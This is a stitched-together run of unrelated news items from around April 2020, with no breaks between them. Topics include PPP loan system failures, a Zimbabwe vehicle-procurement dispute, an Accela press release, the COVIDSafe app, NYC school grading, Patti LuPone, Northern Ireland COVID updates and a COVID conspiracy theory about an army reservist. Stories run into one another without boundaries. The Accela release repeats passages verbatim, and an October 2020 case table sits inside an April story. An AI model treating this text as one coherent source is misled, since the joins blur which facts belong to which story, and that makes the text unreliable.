WASHINGTON (Reuters) - U.S. banks beginning another chaotic dash to grab $310 billion in fresh small-business aid released by the government on Monday were hamstrung after 11th-hour changes to the first-come-first-served program caused technology issues for many lenders. The Small Business Administration reopened its Paycheck Protection Program at 10:30 a.m. EDT (1430 GMT), allowing lenders to resume processing applications from businesses hurt by the novel coronavirus shutdown. But changes the SBA made on Sunday to the way it accepted loan submissions appeared to cause technology problems for some bankers using its "E-Tran" application processing website, which was not designed to handle huge volumes of traffic. So ETRAN lasted a whole 2 minutes before crashing... Its going to be a long 48 hours, tweeted Alec Downing of First Farmers Bank & Trust in Indiana. Rob Nichols, chief executive of the American Bankers Association, the country's largest bank trade group, tweeted that bankers were "deeply frustrated" with the technology issues, which he had raised "at the highest levels." Even with the issues, the SBA said that by 3:30pm EDT it had processed more than 100,000 loans by roughly 4,000 lenders. Senator Marco Rubio, who has been closely tracking the program as chair of the Senate Small Business Committee, said on Monday that the average loan size was half that of the first round, suggesting smaller businesses and self-employed individuals, who were later brought into the program, were getting the funds. With the nations lenders already sitting on hundreds of thousands of back-logged applications, the fresh funds are expected to be burned through in days - leaving swaths of mom-and-pop enterprises out in the cold again, banking groups said. Bank of America, for example, reported receiving 279,000 applications in the first five days of the program launching, of which it processed at most 15%, based on a Reuters analysis of SBA disclosures. JPMorgan, the top lender in the first round, said it had 300,000 loan applications in train of which it had processed 10% by the time the first round of funds ran out. Everyone pretty much has applications ready to go. It should be a week or so before the money is eaten through, said Paul Merski, an executive vice president at the Independent Community Bankers of America. He added that it would be very challenging for anyone who has not already applied for a loan to successfully do so this week. Created as part of a $2.3 trillion congressional economic relief package, the program kicked off on April 3 with an initial $349 billion in funding that was exhausted in less than two weeks. Around $2 billion of that money, which was returned by big companies criticized for tapping the program, or which was ear-marked but later denied, will be added into the second pot of cash, SBA head Jovita Carranza said on Monday. The program allows small businesses hurt by the epidemic to apply for government-guaranteed loans with participating banks. Those loans will be forgiven if they are used to cover payroll costs, subject to some conditions. UNEQUAL ACCESS Given the pent-up demand, banking groups had warned that the flood of new applications would strain E-Tran, which ground to a halt several times during the first round. On Sunday, the SBA said it would try to mitigate that problem by allowing banks to submit a minimum of 15,000 applications in a one-off bulk filing, leaving smaller lenders pushing applications through E-Tran one by one. Around lunchtime on Monday, the SBA said it would lower that threshold to 5,000 and imposed a submission deadline of 9 p.m. EDT. This site cant be reached, however, was the message several bankers saw when trying to access the system. In an email, the SBA said that changes to ensure loan submissions were fairly paced would result in some lenders being "timed out" if they tried to submit too many applications. The agency has been working around the clock to try to smooth the submission process for the unprecedented program. But some bankers said the changes may have unintentionally resulted in unequal access to the program. "Fix the system or take everyone off of it to ensure #equitableaccess for all!" tweeted Brad Bolton, chief executive of Community Spirit Bank in Alabama. Amid the rush to get funds out the door, the first round was also hobbled by technology and paperwork issues. The program has also come under scrutiny after some banks channeled money to their larger, more profitable clients, including hedge funds and public companies, prompting some companies to return the money. The SBA and the U.S. Treasury on Sunday tried to address concerns that big banks would suck up the second round of funds by capping the amount a lender can process at $60 billion, although few, if any, banks are likely to hit that high ceiling during the second round. "It means that no single lender is going to be able to come in and take up all the money," Rubio said, adding: "The SBA is doing the best it can." (Reporting by Pete Schroeder and Michelle Price; additional reporting by Ann Saphir; editing by Diane Craft, Lisa Shumaker, Jonathan Oatis Steve Orlofsky and Dan Grebler) This story has not been edited by Firstpost staff and is generated by auto-feed. A staff row at the Registrar-Generals Office has sucked in the Zimbabwe Anti-Corruption Commission (ZACC) after chief accountant, Mr Peter Bwanya, accused Registrar-General Mr Clement Masango of embezzlement over motor vehicles while the latter denies all wrongdoing and says Mr Bwanya is putting up a smokescreen since he is fighting disciplinary action over alleged incompetence and misbehaviour. But ZACC has since impounded two vehicles a Ford Ranger and an Isuzu KB250 from the Central Registry and has launched investigations into allegations of abuse of office and unprocedural procurement of vehicles by Mr Masango. ZACCs action followed a complaint by Mr Bwanya, who accused Mr Masango of embezzlement of funds and the disappearance of six Isuzu KB250 single cab vehicles that he said the department had procured, but were not delivered In his letter to Secretary for Home Affairs and Cultural Heritage, Mr Aaron Nhepera, Mr Bwanya said only five of 11 vehicles bought by the department had been delivered while mystery surrounded the whereabouts of a Toyota Land Cruiser that he said the Central Registry had bought. However, Mr Masango has launched a scathing attack on Mr Bwanya and four officials from ZACC who impounded the vehicles. In his response to Mr Nhepera, Mr Masango said Mr Bwanya was making the allegations to divert attention from pending disciplinary cases against him. He accused the four ZACC officials of colluding with Mr Bwanya to embarrass him. Mr Masango said his department bought only five vehicles out of the intended 11 after Treasury revoked the 1:1 parity between the Zimbabwe dollar to the United States dollar, while plans to procure the Land Cruiser were abandoned after the authority to buy it was rescinded. He said there was paper trail for all the transactions and Mr Bwanya should have verified this if he was acting in good faith. ZACC spokesperson, Commissioner John Makamure, said: I can confirm that we are investigating that case, but cannot divulge details now. Contacted for comment, Mr Masango confirmed the development, but said the intervention of ZACC was strange and unprecedented since normally there was first an audit which would recommend a course of action. He referred further questions to Mr Nhepera, who said he was aware of the case, but promised to comment substantively after meeting ZACC officials. Why dont you wait because there is a likelihood that the involvement of ZACC was premature? I was dealing with this matter administratively and I do not know how ZACC came in. But I am going to meet them, said Mr Nhepera. In his letter dated February 13, Mr Bwanya said on September 14, 2018 payment of $596 037 to the Central Mechanical Equipment Department (CMED) for 11 vehicles was made, without procurement authority. He said only five vehicles were subsequently delivered together with a Ford Ranger, whose purchase was allegedly done at the behest of Mr Masango. Mr Bwanya suspected that a Land Cruiser was bought despite the fact that the then Secretary for Home Affairs Mr Melusi Matshiya, had rescinded his authority. In response, Mr Masango said the decision to buy the 11 vehicles was done well before he joined the department. He said the department requested its bank to secure foreign currency upon realising that the Reserve Bank of Zimbabwe (RBZ) was struggling to do so due to other pressing national requirements. But before the transaction could be concluded, the intermarket rate was introduced at US$1: $2,51. This meant the forex availed by their bank was no longer enough to buy the intended vehicles. Said Mr Masango: We then directed that the US$173 037,50 be used to purchase one Ford Ranger at a cost of US$78 505 instead of one Isuzu KB250 double cab stated in the initial order. The balance of US$95 291, including the local component, was then used to purchase five Isuzu KB250 single cab vehicles. He said allegations of flouting tender procedures had no substance since procurement was done through CMED, which had the requisite authority. On the Land Cruiser vehicle, Mr Masango said no funds were used to buy it since authority had been rescinded. He said the chief accountant had been served with warnings of incompetence and misbehaviour, which to date he had not disputed. What he surprisingly omitted to mention is the fact that he has also three charges of misconduct all pending against him and that your office is processing, said Mr Masango. On the conduct of ZACC officials, he said there was no justification to impound the two vehicles as there would be no prejudice if they had remained with the department. SAN RAMON, Calif., April 28, 2020 /PRNewswire/ -- Accela , the leading provider of cloud-based solutions for government, today announced its Spring 2020 Product Release, which includes the launch of Accela Civic Platform V20.1 and updates to its robust lineup of solutions designed to improve citizen engagement, usability, and deployment. These latest updates in Accela's cloud-based technology enhances user experience, system management, mobility and citizen engagement and will help agencies respond to the global novel coronavirus (COVID-19) outbreak with solutions to navigate new modes of business operation during "shelter-in-place" mandates, and enable newly remote staff members to work effectively from home. "COVID-19 has reset priorities and methods of operation for governments across the world. Now more than ever, agencies are looking for digital tools to adapt to unprecedented events and keep government services running smoothly now and with whatever comes next," said Troy Coggiola, Chief Product Officer at Accela. "Jurisdictions who had been evaluating projects supporting online citizen interaction, remote inspection, and cloud migration have expedited these programs to assist with business continuity needs. Accela wants to ensure that our customersand any government agency in needcan continue to serve and protect their communities during this unprecedented time with the expanded digital and online capabilities of our latest product release and related solution expansion." The Accela Spring 2020 Product Release provides updates and improvements designed with input from customers and partners to enhance usability, system management and mobility to deliver the next level of citizen engagement. This includes the latest version of the flexible Accela Civic Platform (V20.1), a new Civic Application for Fire Prevention, and new versions of Accela Mobile, GIS, and Accela Citizen Access. The core components of the Spring 2020 Release include: Significant improvements in back office and citizen usability and productivity , including support for capture of electronic signatures in Accela's Electronic Document Review (EDR), improved access to inspection information for citizens, and enhanced functionality with ESRI maps from mobile devices to empower field workers. These improvements also include a new record detail header feature, which surfaces most commonly accessed information for back office staff to increase efficiency of information-finding. The feature was created in response to customer input that received more than 1,200 up-votes within the Accela Success Community. , including support for capture of electronic signatures in Accela's Electronic Document Review (EDR), improved access to inspection information for citizens, and enhanced functionality with ESRI maps from mobile devices to empower field workers. These improvements also include a new record detail header feature, which surfaces most commonly accessed information for back office staff to increase efficiency of information-finding. The feature was created in response to customer input that received more than 1,200 up-votes within the Accela Success Community. New capabilities for administrators , including improved support for Google Chrome, advanced themes and templates customers can use to brand their citizen access site, enhancements for administrators to preview new branding prior to publishing, and simplified fee management. , including improved support for Google Chrome, advanced themes and templates customers can use to brand their citizen access site, enhancements for administrators to preview new branding prior to publishing, and simplified fee management. A New Civic Application for Fire Prevention to manage critical regulatory routines and modernize field inspections and permit processing for fire departments, and updated versions of the Civic Applications for Business Licensing, Alcoholic Beverage Control, Cannabis Regulation and Environmental Health. Today's announcement builds on Accela's ongoing efforts to provide governments across the globe for the next wave of digital transformation. In March and April, Accela successfully migrated its first two batches of data center customers to its new Microsoft Azure cloud environmenta significant milestone that reinforces the industry shift toward SaaS technology to address the evolving needs of citizens and agency staff. More than 80 percent of Accela's new customers purchased solutions in the cloud, and 66 percent of all Accela customers are now in the cloud. The company also announced a strategic partnership with the DWS Group , one of the world's leading providers of project management services, to further expand operations and enhance customer support in Australia and New Zealand to facilitate the movement of governments worldwide to the cloud. Most recently, Accela launched its cloud-based COVID-19 Response Solutions to help cities and states respond to the biggest challenges of the current pandemic. These cloud-based solutions were developed to enable agencies to provide online citizen services with nationwide "shelter-in-place" mandates, including scheduling healthcare workers and volunteers, conducting mobile and virtual inspections to help field workers continue critical, timely inspections or construction projects as scheduled, and more. They are designed to help make product evaluation and procurement processes easier and faster for governments and can be rapidly implemented in as little as 24-72 hours, depending on the solution, to empower agencies to adapt to the circumstances quickly. The Response Solutions build on Accela's existing suite of ten out-of-the-box Civic Applications , which include solutions to streamline Planning, Building, Environmental Health, Business and Occupational Licensing, and more. To learn more about how Accela is helping governments address the impacts of COVID-19, read "How Accela Customers Are Protecting Their Communities in Response to COVID-19" and CEO Gary Kovacs's recent blog post here . To learn more about Accela Civic Solutions, please visit https://www.accela.com/solutions/ . About Accela Accela provides market-leading cloud solutions that empower the most innovative state and local governments around the world to build thriving communities, grow businesses and protect citizens. More than 275 million citizens globally benefit from Accela's solutions, which are powered by Microsoft Azure, for permitting, licensing, code enforcement and service request management. Accela's fast-to-implement Civic Applications, built on its robust and extensible Civic Platform, help agencies address specific needs today, while ensuring they are prepared for any emerging or complex challenges in the future. Accela is headquartered in San Ramon, California, with additional offices around the world. For more information, visit www.accela.com . Contact: Kate Helete, (805) 458-5093, [email protected] SOURCE Accela Related Links http://www.accela.com You are here: Business Starbucks China on Monday announced a strategic partnership with leading investment firm Sequoia Capital China in a bid to propel the company's digital innovation in the country. Starbucks China will make strategic co-investments with Sequoia Capital China, and commercial partnerships with next-generation food and retail technology companies, the coffee chain giant said. The strategic partnership with Sequoia Capital China "adds another powerful engine to drive our relentless pursuit of digital innovation around the world," said Kevin Johnson, president and chief executive officer of Starbucks, adding that the partnership will contribute to the company's efforts on pioneering innovative solutions "that could reimagine the global retail landscape." Last month, Starbucks China announced a plan to build a coffee innovation park in eastern China's Jiangsu Province. Photo:Courtesy of the Ministry of National Defense BEIJING, April 28 (Xinhua) -- At the request of the Lebanese military and with the approval of the Central Military Commission, the Chinese People's Liberation Army on Tuesday sent COVID-19 prevention and control materials, including medical masks and protective gowns, to the Lebanese military. The fault was discovered on Tuesday after more than two million downloads A technical flaw in new COVIDSafe tracking app stops it from working on iPhones unless users have it running in the background. The app uses Bluetooth technology to track users who come in close contact with people who have tested positive to coronavirus. But teething problems were discovered on Monday and Tuesday after the initial success of more than 2.4million downloads since its release on Sunday evening. The app will remain working if iPhone users leave the app open but simply lock their phone, or while using other apps but without being manually closed. A technical flaw in new COVIDSafe tracking app stops it from working on iPhones unless users have the application running in the background COVIDSafe sends out push notifications to alert users if it's no longer running. After downloading the app, users are instructed to 'keep the app running' and leave Bluetooth on. Government app developers will need to integrate the Google version into the Apple system for the problem to be resolved. Finder Editor In Chief and tech expert Angus Kidman told Daily Mail Australia that Apple and Google are working towards creating an 'absolutely reliable' version of the app. 'We would be looking at mid-year before it's working completely seamlessly,' he said. Mr Kidman said Android users could navigate the app with more ease due to its technology. 'It's because of the underlying architecture of the phone and how Apple has a more restrictive way of letting apps access Bluetooth,' he said. 'It's an Apple approach to have tighter control over the hardware.' After downloading the app, users are instructed to 'keep the app running' and leave Bluetooth on But battery drainage is still an issue for app users regardless of which smartphone they have. 'You still need to have Bluetooth running all the time which is a battery drainer, especially for people who don't have a chance to charge their phone,' Mr Taylor said. 'Can imagine if you're a supermarket worker on shift with an older model phone it would die a lot quicker.' Federal Health Minister Greg Hunt on Tuesday said the app can operate on locked phones. Mr Hunt said tech companies are working to improve the functionality of similar apps. 'We know that globally Apple and Google are working for all of their platforms and apps to strengthen that. 'That's likely to be a global upgrade that's not related to Australia or this app, which they're fortunately bringing forward in coming days which would make it even stronger'. The voluntary app - which utilises users' phone numbers, age range, postcode and phone number - has already run into trouble since its successful launch on Sunday. Some people who tried to download the app reported there were troubles getting confirmation emails, having their phone numbers recognised, and ceasing to send out a Bluetooth signal when the phone went into low power mode. Others were alarmed and confused by a message telling them that they had contracted coronavirus, despite not being tested. 'You have tested positive for COVID-19,' the message read. 'Unless you consent, your contact information will not be uploaded. 'If you consent, your contact information will be uploaded and shared with State or Territory health officials for contact tracing purposes.' A spokesman for Government Services Minister Stuart Robert said the message was not a flaw, and the app was working as intended. 'You don't upload if you haven't tested positive, that's the whole point of the app,' they told Daily Mail Australia. 'You're only supposed to push that button if you've been asked to by a health official if you've tested positive.' Despite the technical difficulties, Health Minister Greg Hunt was thrilled with the uptake. Having initially expected the figure might hit one million within five days, it got to the mark in five hours, he said. The figure rose to two million by Monday evening. 'This effort will help protect ourselves, our families, our nurses and our doctors,' he tweeted. CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement Chief medical officer Brendan Murphy said the government would never have access to the data collected. 'We have locked this down so completely, so thoroughly with the biosecurity rule, with legislation that is coming, the only people who can access the data are the state and territory health officials,' he told reporters. 'We have a compact with the Australian public: this app will only ever be used by public health officials in the purposes of contact tracing. And Mr Hunt confirmed people concerned about privacy could use a fake name to register. The other personal information collected is a phone number, age range, and home postcode. Prime Minister Scott Morrison had said 40 per cent of the population needed to install the app for it to be effective. The government has been campaigning for Australians to use the app as a prerequisite to swiftly end strict lockdown measures. The person who died in a crash during a police chase in north Alabama last week has now been positively identified as 40-year-old Texas man Christopher Chad Petty. The deadly crash happened Thursday on Pleasant Grove Road in Marshall County while Petty was driving a stolen vehicle and being chased by a sheriffs deputy. Initially the sheriffs office released the name of the wrong person, an Albertville man, as the person who was killed. But today, the sheriffs office and the Alabama Law Enforcement Agency, which is investigating the crash, released Pettys name. Steve Guthrie, an assistant chief at the Marshall County sheriffs office, said the wrong identity was initially released because Petty had used the Albertville mans name as an alias when he was arrested in the past. A police officer had identified the body after the wreck, based on past encounters with Petty when he used the alias. Guthrie said the Albertville man, whose name had been incorrectly released last week, contacted the sheriffs office to let them know he was alive and that Petty had been using his identify for years. AL.coms efforts to reach the Albertville man for comment werent immediately successful. The crash remains under investigation by the state law enforcement agency, said Derek Campbell, a state trooper spokesman, in a news release today. The crash happened when Petty lost control of the stolen vehicle and it hit a tree, according to the authorities. Guthrie said the sheriffs office isnt taking any disciplinary action against the deputy who was chasing the vehicle. He said the crash was an accident, not caused by the deputy. Popular Nollywood actor Uche Maduagwu has shared some encouraging words to DJ Cuppy in a new Instagram post. The actor, who has shared that he is in love with the artist, also pointed out that Cuppy should be strong and not let any man play with her emotions. The actor said that just like Tacha, DJ Cuppy is a priceless lady. READ ALSO Trained Side Nigga Sends His CV To DJ Cuppy (Photo) Sharing on Instagram, Maduagwu wrote in part: @cuppymusic Dont let any man treat your emotions like Chinese plate all because of #marriage, you are beautiful and priceless like Tacha See Post Here: A family pictured outside a shelter for refugees and asylum-seekers in Tapachula, Mexico, in September 2019. UNHCR/Gabo Morales While a number of countries throughout Latin America and the rest of the world have closed their borders and restricted movement to contain the spread of coronavirus, Mexico has continued to register new asylum claims from people fleeing brutal violence and persecution, helping them find safety. By designating the registration of new asylum claims an essential activity, Mexico has ensured that people receive protection from being forced to return to their countries of origin, where their lives may be in danger, as their cases are processed. UNHCR, the UN Refugee Agency, says these practices show that long-standing principles of international refugee law can be upheld even as governments take measures to protect public health. Even though border restrictions in Central America have meant a 90 per cent drop in average weekly asylum claims in Mexico in April, hundreds of people continue to apply for refugee status in the country. This highlights the level of violence and persecution that many people continue to face in their countries of origin, even during the pandemic. In the first three months of the year, asylum applications in Mexico were up by 33 per cent, compared to the same period last year. The nearly 17,800 new asylum claims in 2020 were principally from nationals of Honduras, Haiti, Cuba, El Salvador and Venezuela. Although Mexican authorities have suspended the legally mandated processing times for asylum claims due to the pandemic, UNHCR is helping Mexicos refugee office, COMAR (Comision Mexicana de Ayuda a Refugiados), to move to remote registration and processing of asylum claims. This will aim to respect physical distancing guidelines throughout the process and will also prevent a further increase in processing backlogs which have developed in recent years. UNHCR has also supported the Mexican authorities to release asylum-seekers from migration detention centres. Release from detention has become even more critical given the danger that COVID-19 poses for detainees. The recent announcement by Mexican immigration authorities to release all detained migrants and asylum-seekers is therefore a welcome step. The measure is consistent with the recommendations of the Subcommittee on Prevention of Torture and other Cruel, Inhuman or Degrading Treatment or Punishment. Since March 16, UNHCR has supported the release of 434 asylum-seekers from immigration detention. Those released are generally housed in shelters run by civil society organizations or the Catholic Church, or they move into rental accommodation with UNHCR assistance. UNHCR has supported 93 shelters to implement preventive measures to prevent spread of the coronavirus, trying to ensure that refugees and asylum-seekers remain safe and healthy. Shelters are on the front line of the humanitarian response during the COVID-19 pandemic, and UNHCR has facilitated webinars with WHO experts so that shelters can take appropriate sanitary measures. In coordination with other international organizations, UNHCR has distributed antibacterial gel and cleaning products to shelters and is installing temporary sinks to facilitate handwashing. Many shelters have also established isolation areas for those with confirmed or suspected COVID-19 infections. These spaces have been equipped with thermometers, cleaning materials, personal care items and emergency mobile phones. However, another 65 shelters in the country have stopped receiving new arrivals. To address this, UNHCR has increased humanitarian assistance to asylum-seekers so that they can pay for other forms of accommodation. This will help reduce the demand for shelter space and help ensure that asylum-seekers can maintain physical distancing. Since the beginning of March, 3,330 asylum-seekers who have recently arrived in Mexico have received humanitarian assistance, allowing them to find rental accommodation. For more information on this topic, please contact: STATEN ISLAND, N.Y. -- Grading for New York City public school students in elementary and middle schools will be different this spring while students participate in remote learning during the coronavirus (COVID-19) outbreak. Mayor Bill de Blasio announced during a press conference Tuesday a new grading policy -- effectively immediately -- for students in kindergarten through eighth grade, and flexible options for high school students. The goals for the new grading policy are to keep students engaged in remote learning, uphold course requirements and maintain high expectations. The city will work to reach every student who may not be meeting standards by providing extra support to get them back on track, according to the mayor. The policy will aim to provide flexibility students and families need. We want to make sure the grading policy we use now fits the moment were in now and the reality of our kids, our parents, our educators now, said de Blasio. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** NEW GRADING POLICY Students in pre-K and 3-K are not affected by the grading policy because they do not receive report cards or grades. Students in kindergarten through fifth grade will receive either a Meets Standards or Needs Improvement grade on their existing course requirements -- such as submitted assignments, projects and writing samples. Middle school students will receive a Meets Standards, Needs Improvement, or Course In Progress" grade. Students in elementary and middle schools who cant demonstrate mastery or dont submit or complete work will be enrolled in summer programming, according to the new policy. High school students will continue to be graded using existing grading scales. As part of the new policy, students will also have the option after receiving a passing letter grade to convert that grade to a pass rating. That means that if a student chooses to keep his or her passing letter grade, it will be included in the overall grade point average (GPA). Converting to a pass rating will not affect the GPA. High school students have until January 2021 to complete outstanding coursework, according to the grading policy. A SENSE OF FLEXIBILITY The mayor said Schools Chancellor Richard Carranza and his team worked with parents, teachers, elected officials and advocates to hear different viewpoints on the new grading policy. Weve had a series of conversations, confirming the direction of this policy, and it came down to the notion of what we owe our kids at this moment, said de Blasio. First of all, flexibility. This is literally a once-in-a-century crisis, and the pain its inflicting on children and families has to be taken into account. There has to be a sense of flexibility in a moment like that. But there also has to be a reminder of our ultimate responsibility to our kids. to prepare them for the future, to make them as strong as they can be, to give them the best education we can. Carranza said that the city Department of Education (DOE) recognizes that parents and students are experiencing anxiety and trauma during the COVID-19 pandemic, and so the agency has evolved its policies. "Our adjustments to grading maintain clear expectations that acknowledge each individual students experience, while creating a consistent, equitable system across all schools, said Carranza. Our priority is to minimize stress on families and students, while still providing next years teachers with the information they need about an individual students progress toward achieving standards. Michael Mulgrew, president of the United Federation of Teachers (UFT), said the union thinks the new grading policy strikes that balance by incorporating the concerns of parents, teachers and stakeholders. We needed a grading policy that captures the work students have done this year, both in the classroom and during distance learning, while not punishing students for things outside of their control," he said in a statement. COURSE IN PROGRESS Students who require more time to show mastery will receive a Course In Progress grade and will be enrolled in summer and fall support programs. Carranza explained that at every grade level and course, there are standards that include a body of knowledge that students must master. The Course In Progress classification is an indicator that the teacher doesnt think there is enough evidence to determine if the student mastered that body of knowledge. That becomes the learning plan that students will carry on through summer course work. According to Carranza, Course In Progress will be used when there is not enough information for teachers to assess if a student met or didnt meet standards. These are students the DOE will have to engage in a rigorous assessment protocol. High school seniors and current eighth-graders who receive Course In Progress will be prioritized for support to keep them on track for August graduation or promotion. Upon completion of the course, their grade will change to an appropriate passing grade. De Blasio and Carranza both explained that it is still unclear what summer school will look like for students due to the uncertainty of the pandemic. According to the chancellor, the grading policy will affect the second half of the school year -- which marks when schools moved to remote learning. Grades that were already submitted before the move to remote learning will not be affected. CLOSING DIGITAL GAP De Blasio also announced Tuesday that 247,000 Apple iPads will be in the hands of students who requested them by the end of April. Families needed to complete the Remote Learning Request Form by 5 p.m. last Thursday to receive the device by April 30. Device distribution will continue into May. De Blasio urged families who still have not requested a device and need one to do so by filling out the request form available in nine languages at schools.nyc.gov, calling 311. You can go to https://coronavirus.schools.nyc/RemoteLearningDevices to fill out the request form. Everyone who fills out a request form online or over the phone will be sent follow-up emails and texts. Devices are granted on a temporary basis and will later need to be returned. There is a limit of one device per student, and parents should fill out a separate form for each student who needs a device. To receive the device, make sure you agree to the Terms of Use in the request form. Before the survey was sent out, 175,000 devices were distributed -- these may include laptops, tablets, or iPads. Families were scrambling to try to get that technology available at their childs school the week before remote learning began. According to the DOE, some families will have received one device from a school, but may still be requesting another device for another child in their family. Families may also be requesting an iPad if they dont have Wi-Fi. VIRTUAL GRADUATION The mayor said on Tuesday that its important to celebrate graduating high school seniors. This disruption has been so intense, but that does not take away our belief in you and our sense of the human moment. This moment is so special to you as you approach graduation. We dont want you to lose that, said de Blasio. Every New York City public school will have its own approach to graduation and will look for opportunities to celebrate graduating seniors. Right now, that means celebrations will be virtual. What the mayor said he can guarantee though, is a citywide virtual graduation ceremony for high school seniors. Were going to do one big celebration of New York Citys high school seniors. Were going to make it something special. you may not have the traditional ceremony that you were looking forward to. Were going to give you something youre going to remember for the rest of your life and you will cherish, he explained. The mayor added that the city will bring together special guests to celebrate seniors, which will include graduates of New York City public schools. Youre going to have a day of inspiration and support and celebration no matter what this pandemic has thrown at us, de Blasio said. More details will be announced in the coming weeks, he said. 38 Life on lockdown: Coronavirus in NYC FOLLOW ANNALISE KNUDSON ON FACEBOOK AND TWITTER. She may have ended her feud with Andrew Lloyd Webber. But Patti LuPone did not mince words when discussing his smash hit musical Cats on Watch What Happens Live this Monday. The 71-year-old Broadway icon declared she 'will never watch' the Cats film starring Taylor Swift as she 'hated' the original stage show. Unfiltered: Patti LuPone did not mince words when discussing Andrew Lloyd Webber's smash hit musical Cats on Watch What Happens Live this Monday Scathing: The 71-year-old Broadway icon declared she 'will never watch' the Cats film starring Taylor Swift as she 'hated' the original stage show 'I will never watch it. I just saw the revival of it and walked out after the first act. I saw it originally in London and hated it, and so I'm not surprised that it bombed onscreen. From one to 10, how about zero?' she said with a grin. Patti tore into Cats while dishing with Watch What Happens Live host Andy Cohen and drag queen Alyssa Edwards. She also said she was 'pissed off' that Bernadette Peters was cast as Madame Rose in the 2003 Broadway revival of the 1959 musical Gypsy. Patti went on to play the same role on Broadway five years later and won a Tony as Rose, which Bernadette had not. Letting them have it: She recalled: 'I saw it originally in London and hated it, and so I'm not surprised that it bombed onscreen' Having a ball: Patti tore into Cats while dishing with Watch What Happens Live host Andy Cohen and drag queen Alyssa Edwards Since the 1980s Bernadette has been a muse for Gypsy lyricist Stephen Sondheim whose work Patti has also begun to play in frequently more recently. Patti said on Watch What Happens Live that 1917 director Sam Mendes, who helmed the 2003 revival of Gypsy, initially 'offered' the role to her. She shared that she found out from reading Liz Smith's gossip column that Bernadette had bagged the role instead. When Patti finally got in touch with Sam he sent her 'a very cold note' that she 'was out' because Gypsy's book writer Arthur Laurents preferred Bernadette. Old wounds: She also said she was 'pissed off' that Bernadette Peters was cast as Madame Rose in the 2003 Broadway revival of the 1959 musical Gypsy. Although he was full of praise for Bernadette's performance Arthur then went on to direct the 2008 revival in which he cast Patti. Patti became a star in the 1979 original Broadway cast of Andrew's musical Evita, less than two years before Cats opened in London. Cats went on to become the longest-running show in Broadway history until it was overtaken by Andrew's later musical The Phantom Of The Opera. Although last year's Cats movie directed by Tom Hooper featured an all-star cast including Jennifer Hudson, Ian McKellen, Idris Elba, Judi Dench, Rebel Wilson, Jason Derulo and James Corden, it was a critical and commercial disaster. Throwback: Elaine Paige is pictured backstage as part of the 1981 original London cast of Cats, which became for a time the longest running musical in Broadway history Andrew's feud with Patti began in the 1990s when he fired her from the lead role of Norma Desmond in his musical of the legendary 1950 film Sunset Boulevard. Although Patti played Norma in the original London production and was signed to reprise the role in New York, she was replaced for Broadway by Glenn Close. Patti revealed in her memoirs that after months of rumors she learned of her firing in Liz Smith's gossip column - and responded by trashing her London dressing room. She fought Andrew in court and spent her $1 million payout to install what she called the Andrew Lloyd Webber Memorial Pool at her country house. Curtain up, light the lights: Patti is pictured taking her bow at the end of her opening performance in Gypsy on Broadway in 2008, a role that won her a Tony However she agreed to sing Don't Cry For Me Argentina from Evita for a tribute to Andrew and fellow composer Leonard Bernstein at the 2018 Grammy Awards. 'This is detente, ladies and gentleman,' she said at a rehearsal for the gig before hugging Andrew, according to Michael Riedel's New York Post gossip column. Meanwhile Patti's comments about Bernadette came one day after they both appeared on a livestream 90th birthday tribute concert to Stephen Sondheim. Three years ago on Watch What Happens Live Patti was famously scathing about Madonna's performance in the Evita movie, branding the pop act a 'movie killer' who was 'dead behind the eyes' and 'cannot act her way out of a paper bag.' Health minister Robin Swann has again appealed to the public not to relax their guard over the threat of Covid-19. Following the announcement of 20 further deaths from the virus in Northern Ireland , Mr Swann made a direct appeal to anyone whos having doubts about the seriousness of the outbreak. I address anyone who has attempted to relax their guard on social distancing. Let them think about the 20 families grieving today. Let them think about those who have lost their lives, he said. Let them think about the key workers that have perished. We all need to keep doing the right thing on social distancing." Mr Swann also revealed that the Northern Ireland Executive has started discussing face coverings this week but expressed concern that they could lead to a false sense of security. It follows suggestions form the Scottish government that face coverings should be used when out in public. Chief Medical Officer Dr McBride warned that wearing a face covering must not be seen as a substitute to advice including washing hands thoroughly. Dr McBride also said testing is being ramped up very significantly. We have worked tirelessly to increase our testing capacity and were now in a situation where we can use that capacity to begin the very important community surveillance that we will now require in the next phase of our response, he said. He said testing is being rolled out to GP practices and, from Monday, started testing all admissions to hospitals. There was positive news on the number of Covid-19 patients in intensive care units in Northern Ireland hospitals. Mr Swann said some tentative improvements are starting to be seen, including a drop in the number of Covid-19 patients in intensive care to 34. He warned, though, that Northern Ireland remains on a knife edge. Dont let anyone say this has all been overblown because, believe me, it hasnt, he said, adding the scale of deaths is reaching what was seen in the worst days of the Troubles. Mr Swann also warned that when the time comes to ease social distancing, it will not be like flicking a switch on going back to the old ways. Social distancing will be with us for many months, he said. Pandemic far from over, WHO chief says - GeorgianJournal A U.S. army reservist now lives in fear for her life after being tagged as the 'patient zero' of COVID-19 and as the one responsible for bringing the virus in Wuhan by an unfounded online conspiracy theory. Describing it as a "nightmare," Maatje Benassi and her husband shared that the conspiracy theory circulated on Chinese social media and have been embraced by the Communist Party in Beijing. According to Daily Mail, despite not exhibiting any symptoms and never tested positive, Benassi has been accused by conspiracy theorists of being the one who conspired with the U.S. government and brought the coronavirus to China in October of last year after competing as a cyclist in Military World Games. After the release of the conspiracy theory in March, Benassi confessed that she has been inundated with death threats from believers of the said theory and even received ominous letters straight on her door after their home address was posted online. Read also: Predicting the Next Pandemic: Virus Hunters Invade Bat Caves in China In her first public interview after the spread of the theory, Benassi shared that it is like waking up from a bad dream going into a nightmare day after day. Despite the efforts of technology giants such as Google and Facebook in taking down and blocking the circulation of any dangerous fallacies, just like coronavirus, misinformation about the pandemic mutated and still evolving each and every day. Weeks after the outbreak, hundreds of conspiracy theories spread online, without any basis, most of them revolve about COVID-19 as a biological weapon created to wipe out enemies by the government of the United States. Several months after the first coronavirus case that has been recorded in Wuhan, conspiracy theorists switched their attentions to Benassi, who is a civilian employee at the US army's Fort Belvoir in Virginia. Five months before, Bennasi competed as a cyclist in Wuhan's Military World Games where she ended in a nasty crash on her final lap leaving her with a concussion and a broken rib, but the mother-of-two shared that what followed has been far more painful. Followed by nearly 100,000 people and videos with 27 million views on his conspiracy channel, the 59-year-old fellow American Youtuber, George Webb has been one of the most vocal conspiracy theorists about the imaginary plot involving Benassi. On his Youtube channel, 